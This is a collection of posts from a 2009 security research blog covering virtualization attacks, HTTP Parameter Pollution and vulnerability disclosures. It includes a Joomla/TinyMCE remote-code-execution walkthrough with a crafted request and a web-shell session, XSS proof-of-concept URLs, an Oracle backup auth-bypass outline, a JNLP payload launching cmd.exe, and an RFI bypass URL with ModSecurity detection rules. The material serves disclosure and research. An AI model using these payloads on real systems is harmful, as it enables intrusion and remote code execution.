[Confidence0902] The Glass Cage - Virtualization Security

My trip in Poland has been very interesting: I've met a lot of people, got back in touch with Ikki and got some weird flu which taught me that giving a presentation when you've got high fever might not be the brightest idea.
This is presentation I gave at Confidence 0902, with an overview on various attack paths against virtualization technologies. One of the most interesting things, I think, is the mitm to remote code execution attack against Virtual Infrastructure Client. I've also announced VASTO, a project we're working on at Secure Network.
Any comment is warmly welcome, but please if you were at confidence do not ask me how many coffee I had before the presentation (10 people already asked).

[Confidence0902] The Glass Cage - Virtualization Security

View more documents from Claudio Criscione.

Virtual Appliances forensic - Part1

In the last months I've been most busy exploring virtualization security issues, which anyway I'm going to present at CONFidence and IT Underground Warsaw in a couple of weeks. However, I wanted to share with you an interesting piece of information I've uncovered while exploring some common virtual appliances.

As you surely know, it's really, really hard to make sure that a file is gone from your file system. You have to remove every reference, every tiny bit of information, or it might be uncovered: data structures, actual data left on the disk, backups of the data structures and so on. File System forensics is concerned with precisely this matter, and forensic software are capable of doing wonders when it comes to recovering deleted that from disks.

Well, the same is true for virtual appliances. While some vendors might decide that it's worth cleaning up and shrinking the disk before shipping virtual appliances, most will not. As a result, you can find gold inside those disks: setup scripts, configuration and installation stuff and all sort of "backend knowledge". This is quite hard to extract from actual machines, which are often disk-imaged and quite hard to reach with traditional tools (some are missing cd roms, for instance, and vendors do not really like you opening up their boxes). However, with virtual appliances it's really really easy to do so.

An example? VMware Studio virtual appliance, the virtual appliance which should be used to build other virtual appliances, has got references of the internal deb repository used to install the - custom - VMware Studio software on it, and traces of the actual debian packages as well.

More data on VA security in the near future, likely after my talk!

HPP @SEaCURE.it

Back from a short trip to SEaCURE.it, the first international security conference ever held in Italy. Together with Stefano@Minded, I gave a presentation on HTTP Parameter Pollution (HPP).

Cutting the crap, we have added a few slides regarding possible detection techniques, information leakage in Python via HPP vectors, PayPal NVP API abuse and a theoretical bypass of anti tampering HMAC.

HTTP Parameter Pollution (HPP) - SEaCURE.it edition

What else?
Our interview, recorded during OWASP AppSec EU 2009, is finally online. Check the "OWASP Podcast 46, interview with Luca Carettoni & Stefano Di Paola (HTTP Parameter Pollution)"

Cheers,
Ikki

Just press Exploit!

Surfing the web I came across this Core Impact update, and I told myself that I wanted a Joomla-RCE-exploit-copy, too! So, as detailed here, an arbitrary file uploading vulnerability affects TinyMCE 1.41.6. As stated in the advisory, the word arbitrary refers to files whose extensions are not listed in $tinybrowser['prohibited'] array in config_tinybrowser.php :

// Prohibited file extensions
$tinybrowser['prohibited'] = array('php','php3','php4','php5','phtml','asp','aspx','ascx',
'jsp', 'cfm','cfc','pl','bat','exe','dll','reg','cgi','sh',
'py','asa','asax','config','com','inc');

This means that we can't directly upload a dot-php script on the remote host. However, I noticed a delicious "rename" option that only permits to rename files preserving their original extension. Thanks to my trusty Burp Proxy I sniffed some HTTP requests during file renaming and here you are an example. Let's have a look :

POST /joomla/.../edit.php?type=image&folder=aaa%2F HTTP/1.1
Host: 192.168.1.5
Content-Type: application/x-www-form-urlencoded
Content-Length: 132

actionfile%5B0%5D=AAA.png&renameext%5B0%5D=png&
renamefile%5B0%5D=BBB.&action=rename

Ok, you are likely able to spot the problem. Attacker can manipulate the renameext[0] parameter resulting in an arbitrary file renaming. Just rename your AAA.png in AAA.php and get remote access! The next step was to automatically upload files via upload_file.php. The problem here is that the script implements a very rudimental mechanism to prevent direct file uploading. In upload_file.php, we can find this piece of code :

// Check hash is correct (workaround for
// Flash session bug, to stop external form posting)

if($_GET['obfuscate'] !=
md5($_SERVER['DOCUMENT_ROOT'].$tinybrowser['obfuscate'])) {
echo 'Error!'; exit;
}

The amazing token is built hashing the web root path name and the $tinybrowser['obfuscate'] variable's value (set to s0merand0mjunk!!!111 in config_tinybrowser.php). I used this additional vulnerability to get the path name. Obviously, should error messages be switched off, you would use the flash form to upload your images! Ok, that's all, here is the exploit and here is an exploitation session :


daath@shaytan:~$ php pwnoomla.php localhost /joomla

[-] Joomla 1.5.12 RCE via TinyMCE upload vulnerability [-]

[#] Attacking localhost:80/joomla/
[+] Web root pathname is : /var/www/
[+] Magic token is a8de65e217ed779dbda80eb04502a2da
[#] Creating remote directory ... DONE
[#] Uploading image ... DONE
[#] Renaming image's extension (takes a while) ... PWNED!
[+] Here is the php shell : /joomla/images/stories/i208661849/shell.php

daath@shaytan:~$ echo -e "GET /joomla/images/stories/i208661849/shell.php?cmd=ls%20-al%20shell.php HTTP/1.0\n\n" | nc localhost 80
HTTP/1.1 200 OK
Date: Mon, 28 Sep 2009 10:39:43 GMT
Server: Apache/2.2.9 (Ubuntu) PHP/5.2.6-2ubuntu4.3 with Suhosin-Patch
X-Powered-By: PHP/5.2.6-2ubuntu4.3
Vary: Accept-Encoding
Connection: close
Content-Type: text/html

-rw-r--r-- 1 www-data www-data 54 Sep 28 12:39 shell.php
daath@shaytan:~$


Have phun,
/daath

One-Day Knowledge

In August 2009, ZDI discloses a few details regarding a couple of interesting vulnerabilities (ZDI-09-058, ZDI-09-059) in Oracle Backup Admin server. I’ve seen several installations of this product, mainly used in corporations. Since I was quite interested in such flaws, I did a bit of research and I’ve published an exploit (osb10.3_poc.sh). This PoC exploits two separate vulnerabilities: a smart authentication bypass and a trivial command injection, resulting in arbitrary command execution.

You may find interesting how the bypass works. It is a neat piece of hacking, in my humble opinion.
To have a successful login, both following functions should return "true" (login.php, #75)

if (validate_login($username,$passwd) && authenticate()){
[…]
}

The first one (common.php, #262) verifies username/password size and format.
As you can see, it accepts a username containing a-zA-Z0-9._- chars only.

function validate_login($username, $password)
{
global $status_msg;

if (strlen($username) > 128 || preg_match("/[^a-zA-Z0-9._-]/", trim($username)))
{
$status_msg[] = "Error: login failed";
return false;
}
if (strlen($password) > 16)
{
$status_msg[] = "Error: login failed";
return false;
}
return true;
}

On the other hand, the second function executes a command line tool and checks for error messages. Since Oracle Backup server command line tools require authentication in order to be successfully executed, the developers decided to use this application behavior in order to check whether the user has got a valid session. No comment, please!

// Check for a failed login.
if (strstr($msg[0], " login incorrect") ||
strstr($msg[0], "obtool:") ||
strstr($msg[0], "Obtool:") ||
strstr($msg[0], "Error:") ||
strstr($msg[0], "sh:"))
[…]

And here a question: “Can we tamper a valid username, according to the specified format, in order to properly execute the binary without triggering errors?” Sure, we do. Check the exploit and find the answer!

XSS flaws are boring!

Cross-Site Scripting flaws are quite unexciting from the technical point of view. Don't you think?

Most of the time, it is not challenging to look for XSS vulnerabilities since lot of applications do not provide input validation at all against this specific attack. In addition, the application entry points are so copious that it is like to shoot in a crowded square (well, never tried).

However, they still exist and we still have to report them.
We will probably all agree about the dangerous effects of such client side attack. We have seen several real life threats (e.g. CriticalPath Vulnerability, Twitter Worm Attack, StrongWebmail) as well as we know efficient (sufficient?) protection mechanisms (e.g. NoScript, OWASP ESAPI, Secure Coding).

Having said that, I would like to point out a couple of trivial security flaws I have discovered in the last months: (A) Sun Java Web Console Multiple Cross Site Scripting and yet another (B) Oracle Application Server 10g (v9.x) Cross Site Scripting.

(A) Just because I believe in full disclosure, let's specify the unspecified input (as reported by the vendor). Due to the lack of input filtering within the "HELP" resources, it is possible to inject JS code and trigger XSS attacks. During my audit, several attack vectors were found:

/console/faces/com_sun_web_ui/help/helpwindow.jsp
Parameters: windowTitle, helpFile, pageTitle, mastheadUrl, mastheadDescription, jspPath

/console/faces/com_sun_web_ui/help/masthead.jsp
Parameters: mastheadUrl, pageTitle

PoC example: https://IP:PORT/console/faces/com_sun_web_ui/help/helpwindow.jsp?&windowTitle=&helpFile=%22%3E%3C/FRAMESET%3E%3CFRAME%20SRC=%22javascript:alert(%27XSS%27);%22%3E%3C!--


(B) In case of OC4J, the problem is triggered with malformed requests containing invalid HTTP methods.

G<script>alert(123);</script>ET /servlet/ HTTP/1.1
Host: 127.0.0.1:5500


501 Not Implemented
Method G<script>alert(123);</script>ET is not defined in RFC 2068 and is not supported by the Servlet API

Versions 10.1.3.4.0 and likely all the 10.x releases are not vulnerable.
Oracle support for the J2EE application container 9.x ended in December 2008, according to the Oracle's Lifetime Support Policy. However, they still provide this insecure software here. From my experience, I've seen several installations of such outdated and unsupported software within corporations. As you can easily imagine, it means no patch...sad indeed.

HPP and WAF

HTTP Parameter Pollution used as a WAFs bypass technique seems to be a very favored topic. Just a few updates regarding this matter...

Lavakumar Kuppan has released his paper as well as the security advisory on how to bypass mod_sec core rules in order to exploit SQL injections in ASP/ASP.NET environment. It is worth to mention that installations using ModSecurity <= 2.5.9 with ModSecurity Core Rules <= 2.5-1.6.1 are vulnerable thus you may consider to check your systems.

A new whitepaper titled "Detecting remote file inclusion attacks" was released by Breach Security. It discusses a generic rules set that will enable protecting applications from RFI attacks. Once again, the suggested RFI rules set is vulnerable to HPP bypass.

Most of the suggested rules may be very useful in order to detect generic RFI attacks but they are just not working against HPP attacks, in specific web frameworks.

IP Address

SecRule “ARGS” “@rx (ht|f)tps?://([\d\.]+)”
“t:urlDecodeUni,t:htmlEntityDecode,t:lowercase,deny,phase:2,msg:'RFI’ “

Function INCLUDE

SecRule “ARGS” “@rx \binclude\s*\([^)]*(ht|f)tps?://”
“t:urlDecodeUni,t:htmlEntityDecode,t:lowercase,deny,phase:2,msg:’RFI’ “

Inclusion ends with question mark

SecRule “ARGS” “@rx (ft|htt)ps?.*\?+$”
“t:urlDecodeUni,t:htmlEntityDecode,t:lowercase,deny,phase:2,msg:’RFI’ “

In case of ASP and ASP.NET (and other HTTP back-ends), it is still possible to inject multiple HTTP parameters containing two segments of the attack:

http://vulnerable_app/vulnerable_page?par=http://example.com/shell.txt&par=?

Resulting in "http://example.com/shell.txt,?". Since the pseudo shell filename is managed by the attacker, he/she may easily create a file named "shell.txt,". The following attack bypasses the other two rules as well.

Obviously, this is true for all different web technologies that consider multiple occurrences and concatenate those using different chars. ASP and ASP.NET are the most interesting examples of such behavior. Indeed, I understand that the suggested solution may provide a workable level of security, especially considering that PHP does not concatenate multiple parameters.

Besides WAFs stuff, it is important to remember that HPP is also about server and client side flaws. Well, in case it's not clear enough, some vulnerabilities that we are going to disclose will hopefully help to emphasize the concept.

Luca

HTTP Parameter Pollution FAQs

We have received numerous public replies as well as several private emails.
Thanks for your comments, suggestions and feedbacks.

It's now time to summarize and clarify some points.

Q: Is this a new class of exploits or just another case of applications lacking input validation?
A: Actually, HPP is an input validation flaw. As SQL Injection and XSS, we may consider it as an injection weakness. In this specific case, query string delimiters are the "dangerous" characters.

Q: You are saying that several HTTP back-ends manage multiple occurrences in different ways. In some cases, it may be abused in order to fingerprint the underline back-end. Is it right?
A: Yes, sure. However, considering the granularity available, we don't think it is really so interesting.

Q: This is a known attack. You guys presented a bunch of interesting but already known techniques to exploit different vulnerabilities.
A: Actually, we think we have contributed (in some way) to the current state-of-art showing this issue. However, even if it is currently used by "hardcore" attackers, it's very important to formalize a threat in order to mitigate the issue and create efficient workarounds. The aim of the entire research is to raise awareness around this problem. In future, we would like to include HPP within the OWASP Testing Guide in order to provide the right methodology for testing systems against HPP-like attacks as well. We strongly believe that sharing such knowledge may increase the security of all web applications.

Q: Most of your examples and findings use GET parameters. What about POST?
A: POST and COOKIE parameters may be affected as well. In slide #11 and #19, we have briefly stated that and you will see further research because it is a very interesting aspect since it gives additional flexibility for all attacks.

Q: In the current version of IE8, is the XSS Filter still vulnerable to HPP?
A: No! We had a discussion with the IE XSS Filter guy at Microsoft and turns out that the current version is NOT affected. All previous tests were done against the beta release and we didn't double check the latest one. We are sorry for this misunderstanding.

Q: Are multiple occurrences of a parameter valid according to the RFC, W3C, whatever?
A: Yes! Yes! The only thing which in fact was worth mentioning is the lack of standard in the management of multiple occurrences and NOT the presence of multiple occurrences themselves. After all, that's why it is possible to abuse the query string delimiters injection flaw.

Q: Is Yahoo! Mail still vulnerable to HPP?
A: Difficult to say. However, the specific issue was patched thus it cannot be abused by malicious users.

Q: Could you provide additional details regarding the Yahoo! Classic Mail HPP attack?
A: We've just published HERE an in-depth review of the issue with the video PoC as well.

Q: What's the right way of managing multiple occurrences? Is there a "perfect" framework?
A: No, there are no right o wrong behaviors as well as we cannot refer to a right or wrong web servers/web frameworks. The behavior of the HTTP back-ends is a matter of exploitability only.

Q: HPP is only about WAFs bypasses?
A: Absolutely not! HPP is also about applications flow manipulation, anti-CSRF, content pollution.

Q: How can I prevent HPP?
A: First of all, answer yourself "Which layer am I protecting?". Then, speaking about HPP server side, it's always important to use URL encoding whenever you do GET/POST HTTP requests to an HTTP back-end. From the client-side point of view, use URL encoding whenever you are going to include user-supplied content within links, etc.

Q: Am I vulnerable to HPP?
A: It depends on how you are managing several occurrences of the same parameter from the application point of view. Using strict input validation checkpoints and the right output filtering (URL encoding), you are likely secure (at least, against HPP).

That's all, for now.

Cheers,
Luca

HTTP Parameter Pollution (HPP)

As you know, on May 14th @ OWASP AppSec Poland 2009, me and Stefano di Paola have presented a new attack category called HTTP Parameter Pollution (HPP).

HPP attacks can be defined as the feasibility to override or add HTTP GET/POST parameters by injecting query string delimiters. It affects a building block of all web technologies thus server-side as well as client-side attacks exist.





Exploiting HPP vulnerabilities, it may be possible to:

• Override existing hardcoded HTTP parameters
• Modify the application behaviors
• Access and, potentially exploit, uncontrollable variables
• Bypass input validation checkpoints and WAFs rules
  

Just to whet your appetite, we can anticipate that by researching real world HPP vulnerabilities, we have discovered issues on some Google Search Appliance front-end scripts, Ask.com, Yahoo! Mail Classic and several other products.

You can download the slides of the talk here or browse it on Slideshare.

Also, we'll release a whitepaper in order to clarify all details about HPP.
As last news, the video of the "Yahoo! Classic Mail" client side HPP exploitation will be available soon on this blog. That's all for now.

Cheers,
Ikki

MiTM on VMware Server

Since a little more than year I've been researching on virtualization security, focusing on "real" issues - not the low level stuff which is unlikely to ever turn into an exploit in the real world.
Finally the company I work for rolled out a virtualization security service and people are releasing actual attacks on such infrastructures and it's time to join the party.

I'll start by releasing a very simple tool which is able to perform MITM against VMware Server Console. Isn't that trivial, you might wonder?
Well, as a matter of fact the tool is very simple and error prone: this alpha version is little more than a loop with a couple of connect which was first sketched by Snagg and which I then finished with my non-existant Python coding skills.

But, actually, there are a couple of facts which make this tool interesting.

Fact 1: VMware console will not check for the SSL certificate and won't even warn the user about a wrong certificate. Bad, very bad.

Fact 2: Most SSL MiTM tools will just fail in working with VMware Console since before the SSL connection is enstablished, an unencrypted line is sent through the socket in plaintext, effectively crashing any tool I know about.

Fact 3: The password is not actually sent in cleartext through the pipe. More on this in future posts.

You can grab the alchemic python solution here, but keep in mind that it is mightly unstable in the current version.

Making OWASP AppSec 2009 virtual

The most interesting Web App Security conference is here, in Krakow.
OWASP AppSec 2009 is a great event, indeed. We're having fun, sharing ideas and trying to build the next webapp security, all together. No flags, no commercial slogans.

If you do not have the chance to attend the conference in these days, you may virtually join us. Seba and the other guys have organized a 360 degree coverage using blogs, Twitter, Flickr, ...

In few hours, together with Stefano di Paola, we are going to present our research on HTTP Parameter Pollution (HPP). As we like to say, HPP is a quite simple but effective hacking technique. It can be used to modify the behaviors of client-side and server-side applications, to exploit vulnerabilities in uncontrollable variables and even to bypass web application firewalls. As you will see, it’s a kind of unbelievable story. Further details and the slides will be published as soon as possible.

Cheers,
Luca

Mac Hacking Class and presentation at BH USA

Hey,

so a bit of advertisement for me.

I will do a training at Black Hat USA on Mac OS X hacking, I'm really looking forward to having you as students!

Register yourself here

The class will explain how to assess the security of Mac OS X from the ground up, including how to deal with heap and stack exploitation, Objective-C reversing, Mach API abusing, advanced payload writing and differences between iPhone and OSX exploitation.

Anyway if for whatever reason you can't attend my class(and in that case I'll be very sad), I'll speak with Charlie Miller at the Briefings. Here's the abstract

Snagg

iPhone, Mobile Security and Osx

Hey guys,

so back with some updates on my research. First of all I gave a talk with Charlie Miller on iPhone and OSX payloads at Black Hat Europe.
Here are a few links:

• White paper
• Video

The slides will be available soon.

In May I'm going to join Jeff Moss and a bunch of really cool people in the next Black Hat webcast: Mobility and Security. I hope all of you will register and join the round table.

One last appointment, if anyone wants to meet, I'll be speaking at EuSecWest in London at the end of May.

Snagg

Client side code execution via JNLP files

As you may know, I'm a kind of Java enthusiast. This is especially true when a Java technology overlaps with web security.
I was actually testing a software based on Java Web Start when I've realized how practical (and dangerous) may be this technology. The overall idea of Java Web Start is to deploy and execute Java standalone client, directly from the Internet using a web browser. Unlike Java Applets, Web Start applications do not have all the limitations enforced by the sandbox.

Specifically I was testing Eye of the Storm, a network management software composed by several server side components as well as a nice Web Start application. A CGI program /EOS/cgi/EYELauncher generates personalized JNLP files so that Java Web Start can invoke a standalone Java application with the proper parameters and configuration.
Besides other usual issues, I've discovered a way to trigger client side code execution via a tampered JNLP file. Thinking about a real-world attack scenario, an aggressor could convince a user to follow a malicious link which abuse the online CGI in order to generate malicious JNLP files. Since the CGI does not properly filter the input, it is possible to pollute the JNLP file content.

A simple GET request, as the following
http:///EOS/cgi/EYELauncher?%2d%2d%75%73%65%72%3d%61%61%61%3b%2d%2d%68%6f%73%74%3d%61%61%61%3b%2d%2d%68%74%74%70 %50%72%6f%74%6f%63%6f%6c%3d%66%69%6c%65%3a%2f%2f%2f%43%3a%5c%5c%57%49%4e%4e%54%5c%5c%73%79%73%74%65%6d%33%32%5c%5c%63 %6d%64%2e%65%78%65%3f
will cause the inclusion of user-supplied parameters in com.entuity.eos.client.startup.EYELauncher.main(String args[]).

In particular circumstances, the application may invoke the executeEYEClient(String, String, String, String, String) method, which can be used to exploit a vulnerable com.entuity.util.BrowserLauncher.openURL(String) method executing the well-known Runtime.getRuntime().exec()call.
The execution of the vulnerable method is triggered by an exception while the Main method runs. EYELauncher handles this specific exception by requesting a new JNLP file from the server, using the insecure "openURL" call.

To locally test the vulnerability, just use the following code:

import com.entuity.eos.client.startup.EYELauncher;

public class EOTS_poc1 {
public static void main(String[] args) {
String arguments[]={"--user=aaa","--host=aaa","--httpProtocol=file:///C:\\WINNT\\system32\\cmd.exe?"};
EYELauncher.main(arguments);
}}

Unfortunately, I was not able to find a reliable way to trigger the exception, thus the exploitability of this finding is likely low. However, at least in my humble opinion, it is a nice demonstration of one-click code execution.

In addition to the usual stuff (XSS, ActiveX exploits and so on), let's not forget about Java Web Start as well.

IT Underground and TomcatZOO

Finally, it is my turn! I really enjoy the idea of sharing my thoughts here.

Since NibbleSec is a multi-author blog, I'm not going to bore you with low-level stuff - Snagg is just enough!

For fun (and profit) I'm usually involved in web application pentests and lately in Java security. It is a kind of fun and this is usually the easiest way to get a shell in these days.

I'm just back after IT Underground Prague where I gave a speech about Apache Tomcat security and TomcatZOO, one of the first NibbleSec project. While waiting for the release of the tool, you may enjoy the presentation.

Ikki

Let your Mach-o fly round-up

Hey all,

this is my first blog post for Nibblesec. So I decided to start from what I did in the last couple of months.

I was mainly involved in some research on OS X. Specifically a way to create a userland execve() on Mac OS X.

So if you are interested in it, here are a few links that might help you:

White paper

Slides

Poc code

And finally a nice video I made on my technique and Safari.

I'll be speaking with Charlie Miller about In-memory attacks at Black Hat Europe 2009. I'm looking forward to meeting you there.

Snagg

3, 2, 1... In Mission

Hello Internet,
this is our first post, so stop wondering "who the hell are these NibbleSec guys".
We'll start answering a couple of questions.

• We're not a commercial entity


• We're not a ub3r3l33t black-hat crew


• We're not a new initiative the internet really does not need

NibbleSec is just a label on a team of four friends who live in the Information Security world, and that's it.
We're going to use this blog as a launchpad for some of our researches, publishing tools and insights. There are plenty of similar blogs around the net, so here's our personal version.

We have some nice things in the oven, so stay tuned because we're going to serve a couple of hot dishes in a while!

Oh, we were almost forgetting this one: you might be interested in knowing who's behind NibbleSec.org !?
No problem, here you are: BlackFire, Daath, Ikki and Snagg.

See you soon in the next post!